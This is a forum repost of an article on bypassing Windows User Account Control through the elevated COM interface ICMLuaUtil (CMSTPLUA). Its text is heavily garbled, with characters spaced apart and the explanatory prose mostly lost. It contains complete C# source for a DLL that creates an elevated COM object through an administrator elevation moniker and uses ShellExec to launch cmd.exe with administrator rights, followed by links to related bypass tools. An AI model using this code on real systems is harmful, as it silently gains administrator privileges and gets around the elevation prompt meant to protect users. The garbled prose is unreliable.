[1096] 2020-05-21_BypassUACwithICMLuaUtil

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-16
2020-05-21_BypassUACwithICMLuaUtil B y p a s s U A C   w i t h   I C M L u a U t i l Y 4 e r   C h a B u g   2 0 2 0 - 0 5 - 2 1 U A C M E 4 1 I C M L u a U t i l b y p a s s u a c C O M C O M U A C M E 使 使 O l e V i e w D o t N e t C O M E l e v a t i o n I C M L u a U t i l A u t h o r :   O d d v a r   M o e T y p e :   E l e v a t e d   C O M   i n t e r f a c e M e t h o d :   I C M L u a U t i l T a r g e t ( s ) :   A t t a c k e r   d e f i n e d C o m p o n e n t ( s ) :   A t t a c k e r   d e f i n e d I m p l e m e n t a t i o n :   u c m C M L u a U t i l S h e l l E x e c M e t h o d W o r k s   f r o m :   W i n d o w s   7   ( 7 6 0 0 ) F i x e d   i n :   u n f i x e d   ? H o w :   - C M S T P L U A I C M L u a U t i l
U A C c m l u a . d l l O l e V i e w D o t N e t 使 c s h a r p I C M L u a U t i l . S h e l l E x e c v s E n a b l e A u t o   A p p r o v a l T r u e D l l E x p o r t
i n i t . p s 1 d l l a p p l y v s d l l d l l S y s t e m . W i n d o w s . F o r m s u s i n g   S y s t e m ; u s i n g   S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s ;
d l l x 6 4 d l l u s i n g   S y s t e m . W i n d o w s . F o r m s ; n a m e s p a c e   M y B y p a s s U A C {         p u b l i c   c l a s s   C l a s s 1         {                 [ D l l E x p o r t ]                 p u b l i c   s t a t i c   v o i d   M y B y p a s s U A C ( )                 {                         M e s s a g e B o x . S h o w ( " a a " ) ;                 }         } }
d e m o b y p a s s u a c 西 u s i n g   S y s t e m ; u s i n g   S y s t e m . R u n t i m e . C o m p i l e r S e r v i c e s ; u s i n g   S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s ; n a m e s p a c e   M y B y p a s s U A C {         p u b l i c   c l a s s   C l a s s 1         {                 i n t e r n a l   e n u m   H R E S U L T   :   l o n g                 {                         S _ F A L S E   =   0 x 0 0 0 1 ,                         S _ O K   =   0 x 0 0 0 0 ,                         E _ I N V A L I D A R G   =   0 x 8 0 0 7 0 0 5 7 ,                         E _ O U T O F M E M O R Y   =   0 x 8 0 0 7 0 0 0 E                 }                 [ S t r u c t L a y o u t ( L a y o u t K i n d . S e q u e n t i a l ) ]                 i n t e r n a l   s t r u c t   B I N D _ O P T S 3                 {                         i n t e r n a l   u i n t   c b S t r u c t ;                         i n t e r n a l   u i n t   g r f F l a g s ;                         i n t e r n a l   u i n t   g r f M o d e ;                         i n t e r n a l   u i n t   d w T i c k C o u n t D e a d l i n e ;                         i n t e r n a l   u i n t   d w T r a c k F l a g s ;                         i n t e r n a l   u i n t   d w C l a s s C o n t e x t ;                         i n t e r n a l   u i n t   l o c a l e ;                         o b j e c t   p S e r v e r I n f o ;   / /   w i l l   b e   p a s s i n g   n u l l ,   s o   t y p e   d o e s n ' t   m a t t e r                         i n t e r n a l   I n t P t r   h w n d ;                 }                 [ F l a g s ]                 i n t e r n a l   e n u m   C L S C T X
                {                         C L S C T X _ I N P R O C _ S E R V E R   =   0 x 1 ,                         C L S C T X _ I N P R O C _ H A N D L E R   =   0 x 2 ,                         C L S C T X _ L O C A L _ S E R V E R   =   0 x 4 ,                         C L S C T X _ R E M O T E _ S E R V E R   =   0 x 1 0 ,                         C L S C T X _ N O _ C O D E _ D O W N L O A D   =   0 x 4 0 0 ,                         C L S C T X _ N O _ C U S T O M _ M A R S H A L   =   0 x 1 0 0 0 ,                         C L S C T X _ E N A B L E _ C O D E _ D O W N L O A D   =   0 x 2 0 0 0 ,                         C L S C T X _ N O _ F A I L U R E _ L O G   =   0 x 4 0 0 0 ,                         C L S C T X _ D I S A B L E _ A A A   =   0 x 8 0 0 0 ,                         C L S C T X _ E N A B L E _ A A A   =   0 x 1 0 0 0 0 ,                         C L S C T X _ F R O M _ D E F A U L T _ C O N T E X T   =   0 x 2 0 0 0 0 ,                         C L S C T X _ I N P R O C   =   C L S C T X _ I N P R O C _ S E R V E R   |   C L S C T X _ I N P R O C _ H A N D L E R ,                         C L S C T X _ S E R V E R   =   C L S C T X _ I N P R O C _ S E R V E R   |   C L S C T X _ L O C A L _ S E R V E R   |   C L S C T X _ R E M O T E _ S E R V E R ,                         C L S C T X _ A L L   =   C L S C T X _ S E R V E R   |   C L S C T X _ I N P R O C _ H A N D L E R                 }                 c o n s t   u l o n g   S E E _ M A S K _ D E F A U L T   =   0 x 0 ;                 c o n s t   u l o n g   S W _ S H O W   =   0 x 5 ;                 [ D l l I m p o r t ( " o l e 3 2 . d l l " ,   C h a r S e t   =   C h a r S e t . U n i c o d e ,   E x a c t S p e l l i n g   =   t r u e ,   P r e s e r v e S i g   =   f a l s e ) ]                 [ r e t u r n :   M a r s h a l A s ( U n m a n a g e d T y p e . I n t e r f a c e ) ]                 i n t e r n a l   s t a t i c   e x t e r n   o b j e c t   C o G e t O b j e c t (                     s t r i n g   p s z N a m e ,                     [ I n ]   r e f   B I N D _ O P T S 3   p B i n d O p t i o n s ,                     [ I n ,   M a r s h a l A s ( U n m a n a g e d T y p e . L P S t r u c t ) ]   G u i d   r i i d ) ;                 [ D l l E x p o r t ]                 p u b l i c   s t a t i c   v o i d   M y B y p a s s U A C ( )                 {                         G u i d   c l a s s I d _ c m s t p l u a   =   n e w   G u i d ( " 3 E 5 F C 7 F 9 - 9 A 5 1 - 4 3 6 7 - 9 0 6 3 - A 1 2 0 2 4 4 F B E C 7 " ) ;                         / /   I n t e r f a c e   I D                         G u i d   i n t e r f a c e I d _ i c m l u a u t i l   =   n e w   G u i d ( " 6 E D D 6 D 7 4 - C 0 0 7 - 4 E 7 5 - B 7 6 A - E 5 7 4 0 9 9 5 E 2 4 C " ) ;                         I C M L u a U t i l   i c m   =   ( I C M L u a U t i l ) L a u n c h E l e v a t e d C O M O b j e c t ( c l a s s I d _ c m s t p l u a ,   i n t e r f a c e I d _ i c m l u a u t i l ) ;   ;                         i c m . S h e l l E x e c ( @ " c m d . e x e " ,   s t r i n g . F o r m a t ( " / c   { 0 } " ,   " c a l c " ) ,   @ " C : w i n d o w s s y s t e m 3 2 " ,   S E E _ M A S K _ D E F A U L T ,   S W _ S H O W ) ;                         M a r s h a l . R e l e a s e C o m O b j e c t ( i c m ) ;                 }                 p u b l i c   s t a t i c   o b j e c t   L a u n c h E l e v a t e d C O M O b j e c t ( G u i d   C l s i d ,   G u i d   I n t e r f a c e I D )                 {                         s t r i n g   C L S I D   =   C l s i d . T o S t r i n g ( " B " ) ;                         s t r i n g   m o n i k e r N a m e   =   " E l e v a t i o n : A d m i n i s t r a t o r ! n e w : "   +   C L S I D ;                         B I N D _ O P T S 3   b o   =   n e w   B I N D _ O P T S 3 ( ) ;                         b o . c b S t r u c t   =   ( u i n t ) M a r s h a l . S i z e O f ( b o ) ;                         b o . h w n d   =   I n t P t r . Z e r o ;                         b o . d w C l a s s C o n t e x t   =   ( i n t ) C L S C T X . C L S C T X _ L O C A L _ S E R V E R ;                         o b j e c t   r e t V a l   =   C o G e t O b j e c t ( m o n i k e r N a m e ,   r e f   b o ,   I n t e r f a c e I D ) ;                         r e t u r n   ( r e t V a l ) ;                 }                 [ C o m I m p o r t ,   G u i d ( " 6 E D D 6 D 7 4 - C 0 0 7 - 4 E 7 5 - B 7 6 A - E 5 7 4 0 9 9 5 E 2 4 C " ) ,   I n t e r f a c e T y p e ( C o m I n t e r f a c e T y p e . I n t e r f a c e I s I U n k n o w n ) ]                 i n t e r f a c e   I C M L u a U t i l                 {                         / / [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]
I C M L u a U t i l   c o m i c m S h e l l E x e c u a c                         / / v o i d   Q u e r y I n t e r f a c e ( [ I n ,   M a r s h a l A s ( U n m a n a g e d T y p e . L P S t r u c t ) ]   G u i d   r i i d ,   [ I n ,   O u t ]   r e f   I n t P t r   p p v ) ;                         / / [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         / / v o i d   A d d R e f ( ) ;                         / / [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         / / v o i d   R e l e a s e ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 1 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 2 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 3 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 4 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 5 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 6 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         H R E S U L T   S h e l l E x e c (                                 [ I n ,   M a r s h a l A s ( U n m a n a g e d T y p e . L P W S t r ) ] s t r i n g   f i l e ,                                 [ I n ,   M a r s h a l A s ( U n m a n a g e d T y p e . L P W S t r ) ] s t r i n g   p a r a m a t e r s ,                                 [ I n ,   M a r s h a l A s ( U n m a n a g e d T y p e . L P W S t r ) ] s t r i n g   d i r e c t o r y ,                                 [ I n ] u l o n g   f M a s k ,                                 [ I n ] u l o n g   n S h o w ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 8 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 9 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 1 0 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 1 1 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 1 2 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 1 3 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 1 4 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 1 5 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 1 6 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 1 7 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 1 8 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 1 9 ( ) ;                         [ M e t h o d I m p l ( M e t h o d I m p l O p t i o n s . I n t e r n a l C a l l ,   M e t h o d C o d e T y p e   =   M e t h o d C o d e T y p e . R u n t i m e ) ,   P r e s e r v e S i g ]                         v o i d   M e t h o d 2 0 ( ) ;                 }         } }
1 .   h t t p s : / / c l o u d . t e n c e n t . c o m / d e v e l o p e r / a r t i c l e / 1 6 2 3 5 1 7 2 .   h t t p s : / / g i t h u b . c o m / c n s i m o / B y p a s s U A C / t r e e / m a s t e r / B y p a s s U A C _ D l l _ c s h a r p 3 .   h t t p s : / / g i t h u b . c o m / C n 3 3 l i z / p 0 w n e d S h e l l / b l o b / m a s t e r / p 0 w n e d S h e l l / O p s e c / p 0 w n e d M a s q . c s 4 .   h t t p s : / / g i s t . g i t h u b . c o m / M o r i a r t y 2 0 1 6 / 9 3 1 e 8 6 a 7 0 a a d a f 4 8 b 0 6 7 d 8 a 3 4 f 2 8 a 9 7 9
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则